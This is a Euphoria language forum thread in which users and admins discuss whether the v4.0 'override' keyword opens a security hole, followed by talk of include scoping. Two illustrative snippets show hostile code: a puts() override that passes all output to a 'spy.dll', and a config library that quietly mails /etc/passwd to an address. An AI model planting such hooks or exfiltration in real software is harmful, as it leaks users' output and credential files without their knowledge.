OpenEuphoria

1. override keyword?

• Posted by jcmarsh1 Jan 03, 2009
• 1016 views

I'd like to hear feedback from the developers about this one.

In reading the v4.0 documentation I came across the "override" keyword.

How is the "override" keyword implemented? There could be a security problem if an external application can arbitrarily insert a global override in the bit code version of the interpreted app on disk or in memory. This could effectively be a hook into the program from a (potentially) malicious program.

I would like my interpreted apps to run safely and securely, and to mention the potential risk. For instance if this is the case, a global hook could be created to redirect all output to the screen to a listener application for spyware.

This would be possible if a program "infected" files with:

without warning 
constant spyware = open_dll("c:\\program files\\spyware dir\\spy.dll") -- or "spy.so" 
constant pqrt = define_c_proc(spyware, {C_UINT,C_INT}) 
override procedure puts(integer channel,sequence text) 
    atom a = allocate(length(text)) 
    poke(a, text) 
    c_proc(pqrt,{a,length(text)}) -- see how hard it could be to check for, one might miss it. 
    free(a) 
    eu:puts(channel, text) 
end procedure 

I don't want to criticize, but I am writing this to point out the danger. I am just concerned as the Euphoria Interpreter becomes more popular. If a bot inserted this into a main file's il, whether on disk or in memory, it could have access to all standard output from that program. If a Euphoria directory was infected, the problem could be much worse.

I would recommend that final versions of projects be translated into C and compiled before mass distribution to avoid this problem on client machines.

I would like to see a routine or program that would tell me all of the "override" functions and which files they are in so I could check the source of those functions and make sure the correct function is being called. Also there should be a program to generate a list of all non-standard *.dlls that are referenced, so the programmer can see if any are being called.

Perhaps this could be implemented in a "listrtns" or similar program.

3. Re: override keyword?

• Posted by jeremy (admin) Jan 03, 2009
• 1033 views

Oh, I also want to point out that any time you use code that you do not check or a dll that you do not check, you are vulnerable. Let's say you want to read a config file and I write a config.e library.

-- config.e 
 
public function read_config(sequence filename) 
    mail("me@me.com", "/etc/passwd") 
 
    -- code that reads the config 
   
    return config 
end function 

So, you do not have to override an internal function to introduce security problems. This is the problem with any 3rd party code in any language.

Jeremy

5. Re: override keyword?

• Posted by jeremy (admin) Jan 03, 2009
• 986 views

I meant to have:

override puts(...) 
  eu:puts(...) 
  eu:puts(...) 
end ... 

Jeremy

7. Re: override keyword?

• Posted by mattlewis (admin) Jan 03, 2009
• 1018 views

[Channeling Raymond Chen] I think that the situation you've described is not really a security issue for euphoria. If an attacker can modify files and put in malicious dlls, then you've already lost. They could just as easily infect some other aspect of your system.

What is a "non-standard" dll? Also, since open_dll takes a sequence, there's no guarantee about what is passed to it, since the sequence could be generated at run time. I'd expect this for a system that used plug-ins, for instance. In any case, it sounds like something that might have a place in dis.ex, which is more or less a static code analyzer. It doesn't really do any checks currently, but it can tell you a lot about the high level and low level structure of euphoria code.

Matt

9. Re: override keyword?

• Posted by mattlewis (admin) Jan 04, 2009
• 962 views

Exactly. override only applies to built in routines.

No it isn't:

public function call_back(object id) 

Unless you're looking at the 3.1 includes, in which case, of course it is.

Matt

11. Re: override keyword?

• Posted by SDPringle Jan 04, 2009
• 986 views

I suppose the way to do this then is to change all include dll.e to include xalloc.e except for inside xalloc.e itself.

Shawn Pringle

13. Re: override keyword?

• Posted by jcmarsh1 Jan 04, 2009
• 1001 views

Or you could try

 
include dll.e as dll 
include xalloc.e -- scope of call_back() will default to this one 
 
... 
 
call_back() -- declared in xalloc 
dll:call_back() -- declared in dll.e 
 

This will set the "default" function within a "class" file or euphoria file to the desired one, but that would only work for v3.0 on I think. There also is a way to set default namespaces from within v4.0 include files, and also to promote the scope of an include file to the next higher level, with keywords:

<snip>

Some Examples:

include std/graphics.e include \mylib\myroutines.e public include library.e

If public precedes the include statement, then all public identifiers from the included file will also be visible to the including file, and visible to any file that includes the current file.

The public and export qualifiers seem overly rigid, since changing the repartition of identifiers among files, perhaps as the result of splitting up one of them, will change the visibility of this identifier.

To alleviate this, a variant of the include statement was introduced, called public include. If a file public includes another, it will see all the identifiers that the included file sees. This amounts to propagating identifiers marked as public one level up in the file hierarchy. Note that source file systems may not form a true hierarchy - they would with a simpler system like older versions were using.

The public include mechanism was also meant to be used by libraries that have multiple files. That way, symbols meant for the end user can be declared in files other than the main file, and the library can still be organized however the author prefers without affecting the end user.